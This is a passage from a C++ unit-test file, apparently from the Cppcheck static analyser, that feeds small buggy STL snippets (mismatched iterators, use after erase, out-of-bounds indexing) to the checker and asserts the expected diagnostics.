);\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 